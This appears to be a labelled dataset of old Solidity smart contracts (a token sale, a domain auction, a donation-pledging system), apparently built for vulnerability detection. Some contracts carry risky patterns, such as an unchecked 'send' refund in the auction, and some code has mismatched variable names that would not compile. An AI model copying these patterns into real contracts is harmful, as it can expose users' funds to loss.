percentage_diff = safeSub(percentage_diff, 10000);
}
function updatePriceDenominator(uint256 newDenominator) external onlyManagingWallets {
require(now > fundingEndTime);
require(newDenominator > 0);
currentPrice.denominator = newDenominator;
prices[previousUpdateTime] = currentPrice;
previousUpdateTime = now;
PriceUpdate(currentPrice.numerator, newDenominator);
}
function updatePriceAndDenominator(uint256 newNumerator, uint256 newDenominator) external onlyManagingWallets {
require(now > fundingEndTime);
require(newDenominator > 0);
require(newNumerator > 0);
require(safeSub(now, waitTime) >= previousUpdateTime);
currentPrice.denominator = newDenominator;
currentPrice.numerator = newNumerator;
prices[previousUpdateTime] = currentPrice;
previousUpdateTime = now;
PriceUpdate(currentPrice.numerator, newDenominator);
}
function allocateTokens(address participant, uint256 amountTokens) private {
require(vestingSet);
uint256 developmentAllocation = safeMul(amountTokens, 14942528735632200) / 100000000000000000;
uint256 newTokens = safeAdd(amountTokens, developmentAllocation);
require(safeAdd(totalSupply, newTokens) <= tokenCap);
totalSupply = safeAdd(totalSupply, newTokens);
balances[participant] = safeAdd(balances[participant], amountTokens);
balances[vestingContract] = safeAdd(balances[vestingContract], developmentAllocation);
}
function allocatePresaleTokens(address participant, uint amountTokens) external onlyManagingWallets {
require(!halted);
require(participant != address(0));
whitelist[participant] = true;
allocateTokens(participant, amountTokens);
Whitelist(participant);
AllocatePresale(participant, amountTokens);
}
function verifyParticipant(address participant) external onlyManagingWallets {
whitelist[participant] = true;
Whitelist(participant);
}
function buy() external payable {
buyTo(msg.sender);
}
function buyTo(address participant) public payable onlyWhitelist {
require(!halted);
require(participant != address(0));
require(msg.value >= minAmount);
require(now >= fundingStartTime);
uint256 icoDenominator = icoDenominatorPrice();
uint256 tokensToBuy = safeMul(msg.value, currentPrice.numerator) / icoDenominator;
allocateTokens(participant, tokensToBuy);
fundWallet.transfer(msg.value);
Buy(msg.sender, participant, msg.value, tokensToBuy);
}
function icoDenominatorPrice() public view returns (uint256) {
uint256 icoDuration = safeSub(now, fundingStartTime);
uint256 denominator;
if (icoDuration < 172800) {
denominator = safeMul(currentPrice.denominator, 95) / 100;
return denominator;
} else if (icoDuration < OfferTime ) {
denominator = safeMul(currentPrice.denominator, 100) / 100;
return denominator;
} else if (now > fundingEndTime ) {
denominator = safeMul(currentPrice.denominator, 100) / 100;
return denominator;
} else {
denominator = safeMul(currentPrice.denominator, 105) / 100;
return denominator;
}
}
function requestWithdrawal(uint256 amountTokensToWithdraw) external isTradeable onlyWhitelist {
require(now > fundingEndTime);
require(amountTokensToWithdraw > 0);
address participant = msg.sender;
require(balanceOf(participant) >= amountTokensToWithdraw);
require(withdrawals[participant].tokens == 0);
balances[participant] = safeSub(balances[participant], amountTokensToWithdraw);
withdrawals[participant] = Withdrawal({tokens: amountTokensToWithdraw, time: previousUpdateTime});
WithdrawRequest(participant, amountTokensToWithdraw);
}
function withdraw() external {
address participant = msg.sender;
uint256 tokens = withdrawals[participant].tokens;
require(tokens > 0);
uint256 requestTime = withdrawals[participant].time;
Price price = prices[requestTime];
require(price.numerator > 0);
uint256 withdrawValue = safeMul(tokens, price.denominator) / price.numerator;
withdrawals[participant].tokens = 0;
if (this.balance >= withdrawValue)
enact_withdrawal_greater_equal(participant, withdrawValue, tokens);
else
enact_withdrawal_less(participant, withdrawValue, tokens);
}
function enact_withdrawal_greater_equal(address participant, uint256 withdrawValue, uint256 tokens)
private
{
assert(this.balance >= withdrawValue);
balances[fundWallet] = safeAdd(balances[fundWallet], tokens);
participant.transfer(withdrawValue);
Withdraw(participant, tokens, withdrawValue);
}
function enact_withdrawal_less(address participant, uint256 withdrawValue, uint256 tokens)
private
{
assert(this.balance < withdrawValue);
balances[participant] = safeAdd(balances[participant], tokens);
Withdraw(participant, tokens, 0);
}
function checkWithdrawValue(uint256 amountTokensToWithdraw) public view returns (uint256 etherValue) {
require(amountTokensToWithdraw > 0);
require(balanceOf(msg.sender) >= amountTokensToWithdraw);
uint256 withdrawValue = safeMul(amountTokensToWithdraw, currentPrice.denominator) / currentPrice.numerator;
require(this.balance >= withdrawValue);
return withdrawValue;
}
function checkWithdrawValueForAddress(address participant,uint256 amountTokensToWithdraw) public view returns (uint256 etherValue) {
require(amountTokensToWithdraw > 0);
require(balanceOf(participant) >= amountTokensToWithdraw);
uint256 withdrawValue = safeMul(amountTokensToWithdraw, currentPrice.denominator) / currentPrice.numerator;
return withdrawValue;
}
function addLiquidity() external onlyManagingWallets payable {
require(msg.value > 0);
AddLiquidity(msg.value);
}
function removeLiquidity(uint256 amount) external onlyManagingWallets {
require(amount <= this.balance);
fundWallet.transfer(amount);
RemoveLiquidity(amount);
}
function changeFundWallet(address newFundWallet) external onlyFundWallet {
require(newFundWallet != address(0));
fundWallet = newFundWallet;
}
function changeControlWallet(address newControlWallet) external onlyFundWallet {
require(newControlWallet != address(0));
controlWallet = newControlWallet;
}
function changeWaitTime(uint256 newWaitTime) external onlyFundWallet {
waitTime = newWaitTime;
}
function updatefundingStartTime(uint256 newfundingStartTime) external onlyFundWallet {
fundingStartTime = newfundingStartTime;
}
function updatefundingEndTime(uint256 newfundingEndTime) external onlyFundWallet {
fundingEndTime = newfundingEndTime;
}
function halt() external onlyFundWallet {
halted = true;
}
function unhalt() external onlyFundWallet {
halted = false;
}
function enableTrading() external onlyFundWallet {
require(now > fundingEndTime);
tradeable = true;
}
function() payable {
require(tx.origin == msg.sender);
buyTo(msg.sender);
}
function claimTokens(address _token) external onlyFundWallet {
require(_token != address(0));
Token token = Token(_token);
uint256 balance = token.balanceOf(this);
token.transfer(fundWallet, balance);
}
function transfer(address _to, uint256 _value) isTradeable returns (bool success) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public isTradeable returns (bool success) {
return super.transferFrom(_from, _to, _value);
}
} | 1 | 4,481 |
pragma solidity ^0.4.18;
contract DomainAuction {
address public owner;
struct Bid {
uint timestamp;
address bidder;
uint amount;
string url;
}
struct WinningBid {
uint winTimestamp;
uint bidTimestamp;
address bidder;
uint bidAmount;
string url;
}
Bid public highestBid;
WinningBid public winningBid;
event BidLog(uint timestamp, address bidder, uint amount, string url);
event WinningBidLog(uint winTimestamp, uint bidTimestamp, address bidder, uint amount, string url);
event Refund(uint timestamp, address bidder, uint amount);
function placeBid(string url) public payable {
require(msg.value >= ((highestBid.amount * 11) / 10));
Bid memory newBid = Bid(now, msg.sender, msg.value, url);
if (highestBid.bidder != 0) {
refundBid(highestBid);
}
highestBid = newBid;
emit BidLog(newBid.timestamp, newBid.bidder, newBid.amount, newBid.url);
}
function refundBid(Bid bid) private {
bid.bidder.send(bid.amount);
emit Refund(now, bid.bidder, bid.amount);
}
function pickWinner() public payable {
require(msg.sender == owner);
if (winningBid.bidTimestamp != highestBid.timestamp) {
WinningBid memory newWinningBid = WinningBid(now, highestBid.timestamp, highestBid.bidder, highestBid.amount, highestBid.url);
winningBid = newWinningBid;
emit WinningBidLog(
newWinningBid.winTimestamp,
newWinningBid.bidTimestamp,
newWinningBid.bidder,
newWinningBid.bidAmount,
newWinningBid.url
);
}
}
constructor() public payable {
owner = msg.sender;
}
function withdraw() public {
if (msg.sender == owner) owner.send(address(this).balance);
}
function kill() public {
if (msg.sender == owner) selfdestruct(owner);
}
} | 0 | 2,398 |
pragma solidity ^0.4.11;
contract ILiquidPledgingPlugin {
function beforeTransfer(
uint64 pledgeManager,
uint64 pledgeFrom,
uint64 pledgeTo,
uint64 context,
uint amount ) returns (uint maxAllowed);
function afterTransfer(
uint64 pledgeManager,
uint64 pledgeFrom,
uint64 pledgeTo,
uint64 context,
uint amount
);
}
pragma solidity ^0.4.15;
contract Owned {
address public owner;
address public newOwnerCandidate;
event OwnershipRequested(address indexed by, address indexed to);
event OwnershipTransferred(address indexed from, address indexed to);
event OwnershipRemoved();
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner() {
require (msg.sender == owner);
_;
}
function proposeOwnership(address _newOwnerCandidate) public onlyOwner {
newOwnerCandidate = _newOwnerCandidate;
OwnershipRequested(msg.sender, newOwnerCandidate);
}
function acceptOwnership() public {
require(msg.sender == newOwnerCandidate);
address oldOwner = owner;
owner = newOwnerCandidate;
newOwnerCandidate = 0x0;
OwnershipTransferred(oldOwner, owner);
}
function changeOwnership(address _newOwner) public onlyOwner {
require(_newOwner != 0x0);
address oldOwner = owner;
owner = _newOwner;
newOwnerCandidate = 0x0;
OwnershipTransferred(oldOwner, owner);
}
function removeOwnership(address _dac) public onlyOwner {
require(_dac == 0xdac);
owner = 0x0;
newOwnerCandidate = 0x0;
OwnershipRemoved();
}
}
pragma solidity ^0.4.15;
contract ERC20 {
function totalSupply() public constant returns (uint256 supply);
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
pragma solidity ^0.4.15;
contract Escapable is Owned {
address public escapeHatchCaller;
address public escapeHatchDestination;
mapping (address=>bool) private escapeBlacklist;
function Escapable(address _escapeHatchCaller, address _escapeHatchDestination) public {
escapeHatchCaller = _escapeHatchCaller;
escapeHatchDestination = _escapeHatchDestination;
}
modifier onlyEscapeHatchCallerOrOwner {
require ((msg.sender == escapeHatchCaller)||(msg.sender == owner));
_;
}
function blacklistEscapeToken(address _token) internal {
escapeBlacklist[_token] = true;
EscapeHatchBlackistedToken(_token);
}
function isTokenEscapable(address _token) constant public returns (bool) {
return !escapeBlacklist[_token];
}
function escapeHatch(address _token) public onlyEscapeHatchCallerOrOwner {
require(escapeBlacklist[_token]==false);
uint256 balance;
if (_token == 0x0) {
balance = this.balance;
escapeHatchDestination.transfer(balance);
EscapeHatchCalled(_token, balance);
return;
}
ERC20 token = ERC20(_token);
balance = token.balanceOf(this);
require(token.transfer(escapeHatchDestination, balance));
EscapeHatchCalled(_token, balance);
}
function changeHatchEscapeCaller(address _newEscapeHatchCaller) public onlyEscapeHatchCallerOrOwner {
escapeHatchCaller = _newEscapeHatchCaller;
}
event EscapeHatchBlackistedToken(address token);
event EscapeHatchCalled(address token, uint amount);
}
pragma solidity ^0.4.11;
interface LPVault {
function authorizePayment(bytes32 _ref, address _dest, uint _amount);
function () payable;
}
contract LiquidPledgingBase is Escapable {
uint constant MAX_DELEGATES = 10;
uint constant MAX_SUBPROJECT_LEVEL = 20;
uint constant MAX_INTERPROJECT_LEVEL = 20;
enum PledgeAdminType { Giver, Delegate, Project }
enum PledgeState { Pledged, Paying, Paid }
struct PledgeAdmin {
PledgeAdminType adminType;
address addr;
string name;
string url;
uint64 commitTime;
uint64 parentProject;
bool canceled;
ILiquidPledgingPlugin plugin;
}
struct Pledge {
uint amount;
uint64 owner;
uint64[] delegationChain;
uint64 intendedProject;
uint64 commitTime;
uint64 oldPledge;
PledgeState pledgeState;
}
Pledge[] pledges;
PledgeAdmin[] admins;
LPVault public vault;
mapping (bytes32 => uint64) hPledge2idx;
mapping (bytes32 => bool) pluginWhitelist;
bool public usePluginWhitelist = true;
modifier onlyVault() {
require(msg.sender == address(vault));
_;
}
function LiquidPledgingBase(
address _vault,
address _escapeHatchCaller,
address _escapeHatchDestination
) Escapable(_escapeHatchCaller, _escapeHatchDestination) public {
admins.length = 1;
pledges.length = 1;
vault = LPVault(_vault);
}
function addGiver(
string name,
string url,
uint64 commitTime,
ILiquidPledgingPlugin plugin
) returns (uint64 idGiver) {
require(isValidPlugin(plugin));
idGiver = uint64(admins.length);
admins.push(PledgeAdmin(
PledgeAdminType.Giver,
msg.sender,
name,
url,
commitTime,
0,
false,
plugin));
GiverAdded(idGiver);
}
event GiverAdded(uint64 indexed idGiver);
function updateGiver(
uint64 idGiver,
address newAddr,
string newName,
string newUrl,
uint64 newCommitTime)
{
PledgeAdmin storage giver = findAdmin(idGiver);
require(giver.adminType == PledgeAdminType.Giver);
require(giver.addr == msg.sender);
giver.addr = newAddr;
giver.name = newName;
giver.url = newUrl;
giver.commitTime = newCommitTime;
GiverUpdated(idGiver);
}
event GiverUpdated(uint64 indexed idGiver);
function addDelegate(
string name,
string url,
uint64 commitTime,
ILiquidPledgingPlugin plugin
) returns (uint64 idDelegate) {
require(isValidPlugin(plugin));
idDelegate = uint64(admins.length);
admins.push(PledgeAdmin(
PledgeAdminType.Delegate,
msg.sender,
name,
url,
commitTime,
0,
false,
plugin));
DelegateAdded(idDelegate);
}
event DelegateAdded(uint64 indexed idDelegate);
function updateDelegate(
uint64 idDelegate,
address newAddr,
string newName,
string newUrl,
uint64 newCommitTime) {
PledgeAdmin storage delegate = findAdmin(idDelegate);
require(delegate.adminType == PledgeAdminType.Delegate);
require(delegate.addr == msg.sender);
delegate.addr = newAddr;
delegate.name = newName;
delegate.url = newUrl;
delegate.commitTime = newCommitTime;
DelegateUpdated(idDelegate);
}
event DelegateUpdated(uint64 indexed idDelegate);
function addProject(
string name,
string url,
address projectAdmin,
uint64 parentProject,
uint64 commitTime,
ILiquidPledgingPlugin plugin
) returns (uint64 idProject) {
require(isValidPlugin(plugin));
if (parentProject != 0) {
PledgeAdmin storage pa = findAdmin(parentProject);
require(pa.adminType == PledgeAdminType.Project);
require(getProjectLevel(pa) < MAX_SUBPROJECT_LEVEL);
}
idProject = uint64(admins.length);
admins.push(PledgeAdmin(
PledgeAdminType.Project,
projectAdmin,
name,
url,
commitTime,
parentProject,
false,
plugin));
ProjectAdded(idProject);
}
event ProjectAdded(uint64 indexed idProject);
function updateProject(
uint64 idProject,
address newAddr,
string newName,
string newUrl,
uint64 newCommitTime)
{
PledgeAdmin storage project = findAdmin(idProject);
require(project.adminType == PledgeAdminType.Project);
require(project.addr == msg.sender);
project.addr = newAddr;
project.name = newName;
project.url = newUrl;
project.commitTime = newCommitTime;
ProjectUpdated(idProject);
}
event ProjectUpdated(uint64 indexed idAdmin);
function numberOfPledges() constant returns (uint) {
return pledges.length - 1;
}
function getPledge(uint64 idPledge) constant returns(
uint amount,
uint64 owner,
uint64 nDelegates,
uint64 intendedProject,
uint64 commitTime,
uint64 oldPledge,
PledgeState pledgeState
) {
Pledge storage p = findPledge(idPledge);
amount = p.amount;
owner = p.owner;
nDelegates = uint64(p.delegationChain.length);
intendedProject = p.intendedProject;
commitTime = p.commitTime;
oldPledge = p.oldPledge;
pledgeState = p.pledgeState;
}
function getPledgeDelegate(uint64 idPledge, uint idxDelegate) constant returns(
uint64 idDelegate,
address addr,
string name
) {
Pledge storage p = findPledge(idPledge);
idDelegate = p.delegationChain[idxDelegate - 1];
PledgeAdmin storage delegate = findAdmin(idDelegate);
addr = delegate.addr;
name = delegate.name;
}
function numberOfPledgeAdmins() constant returns(uint) {
return admins.length - 1;
}
function getPledgeAdmin(uint64 idAdmin) constant returns (
PledgeAdminType adminType,
address addr,
string name,
string url,
uint64 commitTime,
uint64 parentProject,
bool canceled,
address plugin)
{
PledgeAdmin storage m = findAdmin(idAdmin);
adminType = m.adminType;
addr = m.addr;
name = m.name;
url = m.url;
commitTime = m.commitTime;
parentProject = m.parentProject;
canceled = m.canceled;
plugin = address(m.plugin);
}
function findOrCreatePledge(
uint64 owner,
uint64[] delegationChain,
uint64 intendedProject,
uint64 commitTime,
uint64 oldPledge,
PledgeState state
) internal returns (uint64)
{
bytes32 hPledge = sha3(
owner, delegationChain, intendedProject, commitTime, oldPledge, state);
uint64 idx = hPledge2idx[hPledge];
if (idx > 0) return idx;
idx = uint64(pledges.length);
hPledge2idx[hPledge] = idx;
pledges.push(Pledge(
0, owner, delegationChain, intendedProject, commitTime, oldPledge, state));
return idx;
}
function findAdmin(uint64 idAdmin) internal returns (PledgeAdmin storage) {
require(idAdmin < admins.length);
return admins[idAdmin];
}
function findPledge(uint64 idPledge) internal returns (Pledge storage) {
require(idPledge < pledges.length);
return pledges[idPledge];
}
uint64 constant NOTFOUND = 0xFFFFFFFFFFFFFFFF;
function getDelegateIdx(Pledge p, uint64 idDelegate) internal returns(uint64) {
for (uint i=0; i < p.delegationChain.length; i++) {
if (p.delegationChain[i] == idDelegate) return uint64(i);
}
return NOTFOUND;
}
function getPledgeLevel(Pledge p) internal returns(uint) {
if (p.oldPledge == 0) return 0;
Pledge storage oldN = findPledge(p.oldPledge);
return getPledgeLevel(oldN) + 1;
}
function maxCommitTime(Pledge p) internal returns(uint commitTime) {
PledgeAdmin storage m = findAdmin(p.owner);
commitTime = m.commitTime;
for (uint i=0; i<p.delegationChain.length; i++) {
m = findAdmin(p.delegationChain[i]);
if (m.commitTime > commitTime) commitTime = m.commitTime;
}
}
function getProjectLevel(PledgeAdmin m) internal returns(uint) {
assert(m.adminType == PledgeAdminType.Project);
if (m.parentProject == 0) return(1);
PledgeAdmin storage parentNM = findAdmin(m.parentProject);
return getProjectLevel(parentNM) + 1;
}
function isProjectCanceled(uint64 projectId) constant returns (bool) {
PledgeAdmin storage m = findAdmin(projectId);
if (m.adminType == PledgeAdminType.Giver) return false;
assert(m.adminType == PledgeAdminType.Project);
if (m.canceled) return true;
if (m.parentProject == 0) return false;
return isProjectCanceled(m.parentProject);
}
function getOldestPledgeNotCanceled(uint64 idPledge
) internal constant returns(uint64) {
if (idPledge == 0) return 0;
Pledge storage p = findPledge(idPledge);
PledgeAdmin storage admin = findAdmin(p.owner);
if (admin.adminType == PledgeAdminType.Giver) return idPledge;
assert(admin.adminType == PledgeAdminType.Project);
if (!isProjectCanceled(p.owner)) return idPledge;
return getOldestPledgeNotCanceled(p.oldPledge);
}
function checkAdminOwner(PledgeAdmin m) internal constant {
require((msg.sender == m.addr) || (msg.sender == address(m.plugin)));
}
function addValidPlugin(bytes32 contractHash) external onlyOwner {
pluginWhitelist[contractHash] = true;
}
function removeValidPlugin(bytes32 contractHash) external onlyOwner {
pluginWhitelist[contractHash] = false;
}
function useWhitelist(bool useWhitelist) external onlyOwner {
usePluginWhitelist = useWhitelist;
}
function isValidPlugin(address addr) public returns(bool) {
if (!usePluginWhitelist || addr == 0x0) return true;
bytes32 contractHash = getCodeHash(addr);
return pluginWhitelist[contractHash];
}
function getCodeHash(address addr) public returns(bytes32) {
bytes memory o_code;
assembly {
let size := extcodesize(addr)
o_code := mload(0x40)
mstore(0x40, add(o_code, and(add(add(size, 0x20), 0x1f), not(0x1f))))
mstore(o_code, size)
extcodecopy(addr, add(o_code, 0x20), 0, size)
}
return keccak256(o_code);
}
}
pragma solidity ^0.4.11;
contract LiquidPledging is LiquidPledgingBase {
function LiquidPledging(
address _vault,
address _escapeHatchCaller,
address _escapeHatchDestination
) LiquidPledgingBase(_vault, _escapeHatchCaller, _escapeHatchDestination) {
}
function donate(uint64 idGiver, uint64 idReceiver) payable {
if (idGiver == 0) {
idGiver = addGiver("", "", 259200, ILiquidPledgingPlugin(0x0));
}
PledgeAdmin storage sender = findAdmin(idGiver);
checkAdminOwner(sender);
require(sender.adminType == PledgeAdminType.Giver);
uint amount = msg.value;
require(amount > 0);
vault.transfer(amount);
uint64 idPledge = findOrCreatePledge(
idGiver,
new uint64[](0),
0,
0,
0,
PledgeState.Pledged
);
Pledge storage nTo = findPledge(idPledge);
nTo.amount += amount;
Transfer(0, idPledge, amount);
transfer(idGiver, idPledge, amount, idReceiver);
}
function transfer(
uint64 idSender,
uint64 idPledge,
uint amount,
uint64 idReceiver
){
idPledge = normalizePledge(idPledge);
Pledge storage p = findPledge(idPledge);
PledgeAdmin storage receiver = findAdmin(idReceiver);
PledgeAdmin storage sender = findAdmin(idSender);
checkAdminOwner(sender);
require(p.pledgeState == PledgeState.Pledged);
if (p.owner == idSender) {
if (receiver.adminType == PledgeAdminType.Giver) {
transferOwnershipToGiver(idPledge, amount, idReceiver);
} else if (receiver.adminType == PledgeAdminType.Project) {
transferOwnershipToProject(idPledge, amount, idReceiver);
} else if (receiver.adminType == PledgeAdminType.Delegate) {
uint recieverDIdx = getDelegateIdx(p, idReceiver);
if (p.intendedProject > 0 && recieverDIdx != NOTFOUND) {
if (recieverDIdx == p.delegationChain.length - 1) {
uint64 toPledge = findOrCreatePledge(
p.owner,
p.delegationChain,
0,
0,
p.oldPledge,
PledgeState.Pledged);
doTransfer(idPledge, toPledge, amount);
} else {
undelegate(idPledge, amount, p.delegationChain.length - receiverDIdx - 1);
}
} else {
idPledge = undelegate(
idPledge,
amount,
p.delegationChain.length
);
appendDelegate(idPledge, amount, idReceiver);
}
} else {
assert(false);
}
return;
}
uint senderDIdx = getDelegateIdx(p, idSender);
if (senderDIdx != NOTFOUND) {
if (receiver.adminType == PledgeAdminType.Giver) {
assert(p.owner == idReceiver);
undelegate(idPledge, amount, p.delegationChain.length);
return;
}
if (receiver.adminType == PledgeAdminType.Delegate) {
uint receiverDIdx = getDelegateIdx(p, idReceiver);
if (receiverDIdx == NOTFOUND) {
idPledge = undelegate(
idPledge,
amount,
p.delegationChain.length - senderDIdx - 1
);
appendDelegate(idPledge, amount, idReceiver);
} else if (receiverDIdx > senderDIdx) {
idPledge = undelegate(
idPledge,
amount,
p.delegationChain.length - senderDIdx - 1
);
appendDelegate(idPledge, amount, idReceiver);
} else if (receiverDIdx <= senderDIdx) {
undelegate(
idPledge,
amount,
p.delegationChain.length - receiverDIdx - 1
);
}
return;
}
if (receiver.adminType == PledgeAdminType.Project) {
idPledge = undelegate(
idPledge,
amount,
p.delegationChain.length - senderDIdx - 1
);
proposeAssignProject(idPledge, amount, idReceiver);
return;
}
}
assert(false);
}
function withdraw(uint64 idPledge, uint amount) {
idPledge = normalizePledge(idPledge);
Pledge storage p = findPledge(idPledge);
require(p.pledgeState == PledgeState.Pledged);
PledgeAdmin storage owner = findAdmin(p.owner);
checkAdminOwner(owner);
uint64 idNewPledge = findOrCreatePledge(
p.owner,
p.delegationChain,
0,
0,
p.oldPledge,
PledgeState.Paying
);
doTransfer(idPledge, idNewPledge, amount);
vault.authorizePayment(bytes32(idNewPledge), owner.addr, amount);
}
function confirmPayment(uint64 idPledge, uint amount) onlyVault {
Pledge storage p = findPledge(idPledge);
require(p.pledgeState == PledgeState.Paying);
uint64 idNewPledge = findOrCreatePledge(
p.owner,
p.delegationChain,
0,
0,
p.oldPledge,
PledgeState.Paid
);
doTransfer(idPledge, idNewPledge, amount);
}
function cancelPayment(uint64 idPledge, uint amount) onlyVault {
Pledge storage p = findPledge(idPledge);
require(p.pledgeState == PledgeState.Paying);
uint64 oldPledge = findOrCreatePledge(
p.owner,
p.delegationChain,
0,
0,
p.oldPledge,
PledgeState.Pledged
);
oldPledge = normalizePledge(oldPledge);
doTransfer(idPledge, oldPledge, amount);
}
function cancelProject(uint64 idProject) {
PledgeAdmin storage project = findAdmin(idProject);
checkAdminOwner(project);
project.canceled = true;
CancelProject(idProject);
}
function cancelPledge(uint64 idPledge, uint amount) {
idPledge = normalizePledge(idPledge);
Pledge storage p = findPledge(idPledge);
require(p.oldPledge != 0);
PledgeAdmin storage m = findAdmin(p.owner);
checkAdminOwner(m);
uint64 oldPledge = getOldestPledgeNotCanceled(p.oldPledge);
doTransfer(idPledge, oldPledge, amount);
}
uint constant D64 = 0x10000000000000000;
function mTransfer(
uint64 idSender,
uint[] pledgesAmounts,
uint64 idReceiver
) {
for (uint i = 0; i < pledgesAmounts.length; i++ ) {
uint64 idPledge = uint64( pledgesAmounts[i] & (D64-1) );
uint amount = pledgesAmounts[i] / D64;
transfer(idSender, idPledge, amount, idReceiver);
}
}
function mWithdraw(uint[] pledgesAmounts) {
for (uint i = 0; i < pledgesAmounts.length; i++ ) {
uint64 idPledge = uint64( pledgesAmounts[i] & (D64-1) );
uint amount = pledgesAmounts[i] / D64;
withdraw(idPledge, amount);
}
}
function mConfirmPayment(uint[] pledgesAmounts) {
for (uint i = 0; i < pledgesAmounts.length; i++ ) {
uint64 idPledge = uint64( pledgesAmounts[i] & (D64-1) );
uint amount = pledgesAmounts[i] / D64;
confirmPayment(idPledge, amount);
}
}
function mCancelPayment(uint[] pledgesAmounts) {
for (uint i = 0; i < pledgesAmounts.length; i++ ) {
uint64 idPledge = uint64( pledgesAmounts[i] & (D64-1) );
uint amount = pledgesAmounts[i] / D64;
cancelPayment(idPledge, amount);
}
}
function mNormalizePledge(uint64[] pledges) {
for (uint i = 0; i < pledges.length; i++ ) {
normalizePledge( pledges[i] );
}
}
function transferOwnershipToProject(
uint64 idPledge,
uint amount,
uint64 idReceiver
) internal {
Pledge storage p = findPledge(idPledge);
require(getPledgeLevel(p) < MAX_INTERPROJECT_LEVEL);
require(!isProjectCanceled(idReceiver));
uint64 oldPledge = findOrCreatePledge(
p.owner,
p.delegationChain,
0,
0,
p.oldPledge,
PledgeState.Pledged
);
uint64 toPledge = findOrCreatePledge(
idReceiver,
new uint64[](0),
0,
0,
oldPledge,
PledgeState.Pledged
);
doTransfer(idPledge, toPledge, amount);
}
function transferOwnershipToGiver(
uint64 idPledge,
uint amount,
uint64 idReceiver
) internal {
uint64 toPledge = findOrCreatePledge(
idReceiver,
new uint64[](0),
0,
0,
0,
PledgeState.Pledged
);
doTransfer(idPledge, toPledge, amount);
}
function appendDelegate(
uint64 idPledge,
uint amount,
uint64 idReceiver
) internal {
Pledge storage p = findPledge(idPledge);
require(p.delegationChain.length < MAX_DELEGATES);
uint64[] memory newDelegationChain = new uint64[](
p.delegationChain.length + 1
);
for (uint i = 0; i<p.delegationChain.length; i++) {
newDelegationChain[i] = p.delegationChain[i];
}
newDelegationChain[p.delegationChain.length] = idReceiver;
uint64 toPledge = findOrCreatePledge(
p.owner,
newDelegationChain,
0,
0,
p.oldPledge,
PledgeState.Pledged
);
doTransfer(idPledge, toPledge, amount);
}
function undelegate(
uint64 idPledge,
uint amount,
uint q
) internal returns (uint64)
{
Pledge storage p = findPledge(idPledge);
uint64[] memory newDelegationChain = new uint64[](
p.delegationChain.length - q
);
for (uint i=0; i<p.delegationChain.length - q; i++) {
newDelegationChain[i] = p.delegationChain[i];
}
uint64 toPledge = findOrCreatePledge(
p.owner,
newDelegationChain,
0,
0,
p.oldPledge,
PledgeState.Pledged
);
doTransfer(idPledge, toPledge, amount);
return toPledge;
}
function proposeAssignProject(
uint64 idPledge,
uint amount,
uint64 idReceiver
) internal {
Pledge storage p = findPledge(idPledge);
require(getPledgeLevel(p) < MAX_INTERPROJECT_LEVEL);
require(!isProjectCanceled(idReceiver));
uint64 toPledge = findOrCreatePledge(
p.owner,
p.delegationChain,
idReceiver,
uint64(getTime() + maxCommitTime(p)),
p.oldPledge,
PledgeState.Pledged
);
doTransfer(idPledge, toPledge, amount);
}
function doTransfer(uint64 from, uint64 to, uint _amount) internal {
uint amount = callPlugins(true, from, to, _amount);
if (from == to) {
return;
}
if (amount == 0) {
return;
}
Pledge storage nFrom = findPledge(from);
Pledge storage nTo = findPledge(to);
require(nFrom.amount >= amount);
nFrom.amount -= amount;
nTo.amount += amount;
Transfer(from, to, amount);
callPlugins(false, from, to, amount);
}
function normalizePledge(uint64 idPledge) returns(uint64) {
Pledge storage p = findPledge(idPledge);
if (p.pledgeState != PledgeState.Pledged) {
return idPledge;
}
if ((p.intendedProject > 0) && ( getTime() > p.commitTime)) {
uint64 oldPledge = findOrCreatePledge(
p.owner,
p.delegationChain,
0,
0,
p.oldPledge,
PledgeState.Pledged
);
uint64 toPledge = findOrCreatePledge(
p.intendedProject,
new uint64[](0),
0,
0,
oldPledge,
PledgeState.Pledged
);
doTransfer(idPledge, toPledge, p.amount);
idPledge = toPledge;
p = findPledge(idPledge);
}
toPledge = getOldestPledgeNotCanceled(idPledge);
if (toPledge != idPledge) {
doTransfer(idPledge, toPledge, p.amount);
}
return toPledge;
}
function callPlugin(
bool before,
uint64 adminId,
uint64 fromPledge,
uint64 toPledge,
uint64 context,
uint amount
) internal returns (uint allowedAmount) {
uint newAmount;
allowedAmount = amount;
PledgeAdmin storage admin = findAdmin(adminId);
if ((address(admin.plugin) != 0) && (allowedAmount > 0)) {
if (before) {
newAmount = admin.plugin.beforeTransfer(
adminId,
fromPledge,
toPledge,
context,
amount
);
require(newAmount <= allowedAmount);
allowedAmount = newAmount;
} else {
admin.plugin.afterTransfer(
adminId,
fromPledge,
toPledge,
context,
amount
);
}
}
}
function callPluginsPledge(
bool before,
uint64 idPledge,
uint64 fromPledge,
uint64 toPledge,
uint amount
) internal returns (uint allowedAmount) {
uint64 offset = idPledge == fromPledge ? 0 : 256;
allowedAmount = amount;
Pledge storage p = findPledge(idPledge);
allowedAmount = callPlugin(
before,
p.owner,
fromPledge,
toPledge,
offset,
allowedAmount
);
for (uint64 i=0; i<p.delegationChain.length; i++) {
allowedAmount = callPlugin(
before,
p.delegationChain[i],
fromPledge,
toPledge,
offset + i+1,
allowedAmount
);
}
if (p.intendedProject > 0) {
allowedAmount = callPlugin(
before,
p.intendedProject,
fromPledge,
toPledge,
offset + 255,
allowedAmount
);
}
}
function callPlugins(
bool before,
uint64 fromPledge,
uint64 toPledge,
uint amount
) internal returns (uint allowedAmount) {
allowedAmount = amount;
allowedAmount = callPluginsPledge(
before,
fromPledge,
fromPledge,
toPledge,
allowedAmount
);
allowedAmount = callPluginsPledge(
before,
toPledge,
fromPledge,
toPledge,
allowedAmount
);
}
function getTime() internal returns (uint) {
return now;
}
event Transfer(uint64 indexed from, uint64 indexed to, uint amount);
event CancelProject(uint64 indexed idProject);
}
pragma solidity ^0.4.18;
contract Controlled {
modifier onlyController { require(msg.sender == controller); _; }
address public controller;
function Controlled() public { controller = msg.sender;}
function changeController(address _newController) public onlyController {
controller = _newController;
}
}
pragma solidity ^0.4.18;
contract TokenController {
function proxyPayment(address _owner) public payable returns(bool);
function onTransfer(address _from, address _to, uint _amount) public returns(bool);
